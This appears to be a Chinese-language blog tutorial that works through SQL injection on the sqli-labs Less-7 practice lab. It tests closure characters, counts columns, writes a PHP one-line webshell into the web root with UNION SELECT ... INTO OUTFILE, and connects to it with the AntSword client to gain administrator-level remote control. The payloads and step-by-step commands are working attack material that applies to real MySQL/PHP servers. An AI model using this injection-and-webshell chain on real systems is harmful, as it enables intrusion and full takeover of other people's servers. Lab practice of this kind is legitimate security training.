#主要知识点
1.show variables like ‘%secure%’; 用来查看mysql是否有读写权限
如果这个位置的参数是null的 话 ,那么就意味着不能 使用文件读写的功能
2.数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
3. into outfile 命令使用环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
#文件上传指令
<?php @eval($_POST['x'])?>为一句话木马
#文件上传用法
目的是往服务器上面上传一句话木马
1.直接可以在网站的目录下,直接使用一句话木马连接
2.你发现目标网站有文件包含的漏洞的话,同时数据库又具备有可以写入一句话木马的权限。使用文件包含直接去包含你写入了一句话木马的文件,可能他不在我们网站的根目录下,但是他可以在网站目标服务器的任何一个路径下面我们就可以使用文件包含,去触发我们写入的一句话木马利用。
#文件上传指令
?id=-1')) union select 1,2,"<?php @eval($_POST['x']);?>" into outfile "D:\\phpStudy\\WWW\\haha.php" --+
"<?php @eval($_POST['x']);?>" :写入的内容,为一句话木马,x是一会使用蚁剑预留的密码
into outfile:函数 用于写入或者导出
"D:\\phpStudy\\WWW\\:写入的路径
haha.php:生成文件的文件名
注:"<?php @eval($_POST['x']);?>"像这个函数,我们在外面用双引号包裹了,里面的参数x就不要在使用双引号,进去包裹了,以免机器识别不清
#案例演示
sqli-labs-master/Less-7/
1.判断闭合方式
首先先丢一个参数进去
页面显示:you are in...use outfile
数字型测试
url:?id=1 and 1=1
页面正常 you are in
url:?id=1 and 1=2
页面正常显示没有报错
如果没有进行防护的话,基本确定他是字符型
因为字符型的话后台语句就是
seletc * from database.tables where id='1 and 1=2' 注入语句就会被当成字符串,功能就发挥不出来
第一次测试
判断是否使用 ' 单引号进去闭合
url:id=1'
丢个'进去 ,页面提示报错,但是没有回显的报错内容
url:/?id=1' --+
使用--+把后面的内容注释掉,如果 页面显示 you are in就证明是他是使用'进行闭合。
但是从页面的显示情况来看,他并不是使用 ' 单引号进行闭合
第二次测试(判断是否使用" 双引号进行闭合)
url:?id=1" --+
页面显示you are in...
url:?id=1" and 1=2 --+
使用and 1=2,再次进行确定。
如果页面是报错的说明是使用"双引号进行闭合。
因为猜测他的sql语句
因为and 1=2不成立
确定不是使用"进行闭合
但是这里页面还是正常的回显you are in这是为什么呢?
因为他可能是用' '单引号进行包裹的,所以你输入了"被他进行了转义
比如说他的后台原sql语句是
select *from database.table whre id='1'
可能你输入完后就变成了
select *from database.tables where id='1" --+'
由于他是被单引号进行包裹的,所以可能你输入的" --+ 被他系统或者开发的代码给过滤掉了
把你输入的"--+ 自动给你过滤 掉了 所以你属于的select *from database.tables where id='1" --+'后面被他自己搞了一下,又还原成原来了sql语句select *from database.table whre id='1'
那么select *from database.table whre id='1' 这个语句是正常的,所以他页面正常回显了
所以我们必须要再次使用and 1=1和and 1=2进行判断
进行第三次测试( 使用') 单引号加括号)
url:?id=1') --+
页面还是报错
进行第四测试( 使用") 双引号加括号)
url:?id=1”) --+
显示you are in
url:?id=1”) and 1=2 --+
使用and 1=2再次进行确定
页面依旧正常 显示you are in
进行第五次测试( 使用')) 双引号加括号括号)
url:?id=1')) --+
页面显示 you are in 正常
url:?id=1')) and 1=2 --+
使用 and1=2 再次进行判断
页面报错 确定闭合方式'))
2.查询字段数(order by 或者group by)
url:?id=1')) group by 4 --+
页面返回错误
页面正常显示 you are in 没有进行报错
以此结论有3个字段
4.写入一句话木马
url:
?id=-1')) union select 1,2,"<?php @eval($_POST['x']);?>" into outfile "D:\\phpStudy\\WWW\\haha.php" --+
备:写入的内容在那个字段写都可以,我这是在3写,2,1都可以写入的
执行后,网站页面会进行一次报错,但是不影响,你要你的命令语句是对的,那么他就会成功
此时在目录下面就生成了一个haha.php的文件
查看一下内容,此时我们的一句话代码就成功写入进去了
5.使用蚁剑进行连接
点击.exe这个文件
右击空白处->添加数据
url:中后面的haha.php就是前面我们在写入一句话代码生成的文件名
x:也是我们写入一句话后面中的连接密码的参数
点击测试连接->显示成功即可
点击添加
连接成功
目标服务器相当于就被我们远程控制了
因为小皮这个程序我们给的是管理员权限
使用whoami 确定是否是管理权限。确定使用管理员权限,那么也意味着这个电脑基本就归我们来操作了,因为administrator属于最高 权限
如果觉得不够详情的话可去https://mp.csdn.net/mp_blog/creation/editor/129723083